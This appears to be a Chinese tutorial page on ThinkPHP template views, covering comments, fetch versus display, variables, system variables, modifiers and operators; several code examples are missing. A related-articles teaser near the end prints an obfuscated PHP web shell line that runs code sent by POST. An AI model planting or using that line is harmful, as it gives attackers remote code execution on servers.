ThinkPHP中的视图二
ThinkPHP中的视图
1、模板注释
在实际项目开发中,经常要使用注释功能,如果是ThinkPHP框架,则可以在模板文件中使用如下方式进行注释:
{// 注释内容 } :单行注释
{/* 注释内容 */ } :多行注释
示例代码:
运行以上代码可知:ThinkPHP框架中的模板注释属于服务端注释,并不会显示输出在客户端浏览器。
2、fetch获取模板内容
在实际项目开发中,如果我们只想获取模板内容但又不输出,那这个时候可以考虑使用fetch方法进行实现。
$this->fetch() :① 载入模板 ② 替换变量
$this->display() :① 载入模板 ② 替换变量 ③ 输出模板内容
示例代码:
3、变量输出
在ThinkPHP模板引擎中,可以使用assign方法分配变量到模板文件并输出,分配的变量类型可以是普通变量、数组变量、对象变量。
1)普通变量
在模板中,可以通过{$变量名称}实现对其的访问:
2)数组变量
① 一维数组
在模板中可以使用如下方式进行显示输出:
② 二维数组
在模板文件中,可以通过如下方式进行访问:
3)对象变量
在模板文件中,可以通过如下方式进行访问:
4、系统变量
- $Think.server :$_SERVER[]
- $Think.get :$_GET[]
- $Think.post :$_POST[]
- $Think.request :$_REQUEST[]
- $Think.cookie :$_COOKIE[]
- $Think.session :$_SESSION[]
- $Think.config :读取配置文件中的配置信息
示例代码:
运行结果:
5、使用函数(变量调节器)
主要功能:实现对变量的格式化操作,基本语法:
{$name|fn1|fn2=arg1,arg2,###}
特别说明:在使用函数中,其有一种特殊形式:###代表当前变量本身
示例代码:
6、默认值
在实际项目开发中,经常会对某个变量进行判断,如果为空,其不会显示任何内容,但是这样其体验度就不是非常友好,所以为了解决这个问题,不妨考虑使用默认值进行设置:
{$变量|default="默认值"}
7、运算符
在有些模板引擎中如Smarty,其是不可以直接参与数学运算的。但是在ThinkPHP模板引擎中,其是允许直接进行数学运算的,基本语法:
- + {$a+$b}
- - {$ab}
- * {$a*$b}
- / {$a/$b}
- % {$a%$b}
- ++ {$a++} 或 {++$a}
- -- {$a--} 或 {--$a}
示例代码:
在模板页面中可以使用运算符对以上两个变量进行数学运算:
ThinkPHP中的视图二的更多相关文章
- ThinkPHP中的视图
ThinkPHP中的视图View 1.什么是视图View 所谓的视图就是用户可视化操作界面. 2.视图View组成 view类(模板引擎类似Smarty) 模板文件(html模板) 3.视图的定义 默 ...
- ThinkPHP中的模型二
ThinkPHP中的模型 1.为什么要创建数据对象 案例:使用ThinkPHP完成部门管理 ① 设计数据库 ② 创建Dept控制器 路径:./Application/Admin/Controller创 ...
- ThinkPHP中视图模型详解.
很多TP的新手对于模型中的视图模型不甚了解,官方虽然有详细手册,但是对于初学者来说还是比较难以理解! 先简单说一下视图模型所能实现的功能,基本就是主表与副表之间各个字段的关联问题,实现多表关联查询,相 ...
- ThinkPHP中的内置标签
ThinkPHP中的内置标签 1.内置标签分类 闭合标签 <tag></tag> 开放标签 <tag /> 2.包含文件标签 主要功能:实现对文件的包含(类似于re ...
- thinkphp3.1课程 1-2 thinkphp中入口文件的实质是什么
thinkphp3.1课程 1-2 thinkphp中入口文件的实质是什么 一.总结 一句话总结:在thinkphp中,我们访问的始终是入口文件,并没有主动去访问任何一个其他文件,只不过在入口文件体内 ...
- [转]ThinkPHP中实例化对象M()和D()的区别,select和find的区别
1.ThinkPHP中实例化对象M()和D()的区别 在实例化的过程中,经常使用D方法和M方法,这两个方法的区别在于M方法实例化模型无需用户为每个数据表定义模型类,如果D方法没有找到定义的模型类,则会 ...
- ASP.NET MVC 视图(二)
ASP.NET MVC 视图(二) 前言 上篇中对于视图引擎只是做了简单的演示,对于真正的理解视图引擎的工作过程可能还有点模糊,本篇将会对由MVC框架提供给我们的Razor视图引擎的整个执行过程做一个 ...
- ThinkPHP中疑难笔记
不但要记住核心的东西, 还要记住 相关的 东西: 如php cli的版本是 5.6.14 bulit: sep 30, 2015 tp中, 通常说的系统就是框架; 项目就是 "应用程序&qu ...
- .NET中的视图和过滤器 (DefaultView和RowFilter)
NET中的视图和过滤器 (DefaultView和RowFilter) ADO.NET中有一层对象,用来创建任意数据源的抽象模型.其中包括DataSet,DataTable,DataRow,DataV ...
随机推荐
- 2012 East Central Regional Contest 解题报告
昨晚各种莫名其妙卡题. 不过细看这套题还挺简单的.全是各种暴力. 除了最后一道题计算几何看起来很麻烦的样子,其他题都是很好写的吧. A. Babs' Box Boutique 题目大意是给出不超过10 ...
- Linux的内存回收和交换
Linux的内存回收和交换 版权声明: 本文章内容在非商业使用前提下可无需授权任意转载.发布. 转载.发布请务必注明作者和其微博.微信公众号地址,以便读者询问问题和甄误反馈,共同进步. 微博ID:or ...
- Ubuntu下安装FTP服务及使用(VSFTPD详细设置)(二)
vsftpd 作为一个主打安全的FTP服务器,有很多的选项设置.下面介绍了vsftpd的配置文件列表,而所有的配置都是基于vsftpd.conf这个配置文件 的.本文将提供完整的vsftpd.conf ...
- php 运行客户提交代码(攻击)和运行图片中的代码
1.$a=@strrev(ecalper_gerp);$b=@strrev(edoced_46esab);@$a($b(L3h4L2Ug),$_POST[POST],bxxb); 2.<?php ...
- LeetCode25 Reverse Nodes in k-Group
题意: Given a linked list, reverse the nodes of a linked list k at a time and return its modified list ...
- jsp包含的讲解
<%@page language="java" import="java.util.*" pageEncoding="UTF-8"%& ...
- solr 范围查询
[]表示查询一个包括边界范围, {}表示查询一个不包括边界范围 A TO * 表示没有上界即>=A或是>A ,视使用的是[]还是{}而定 * TO A 表示没有下界即<=A或是< ...
- 自定义带有uitableview的alertview对话框
#import <UIKit/UIKit.h> typedef void(^MyCompleteHandler) (NSString *selectString); @interface ...
- [Java] JSTL格式化时间计算时差
引入JSLT标签: <%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%> ...
- Android 高级UI设计笔记21:Android SegmentView(分段选择控件)
1. 分段控制(SegmentView) 首先我们先看看什么是SegmentView的效果,如下: 分段控制这个View控件是ios7的分段控制,和QQ消息页面顶部的效果一样,android没有这个控 ...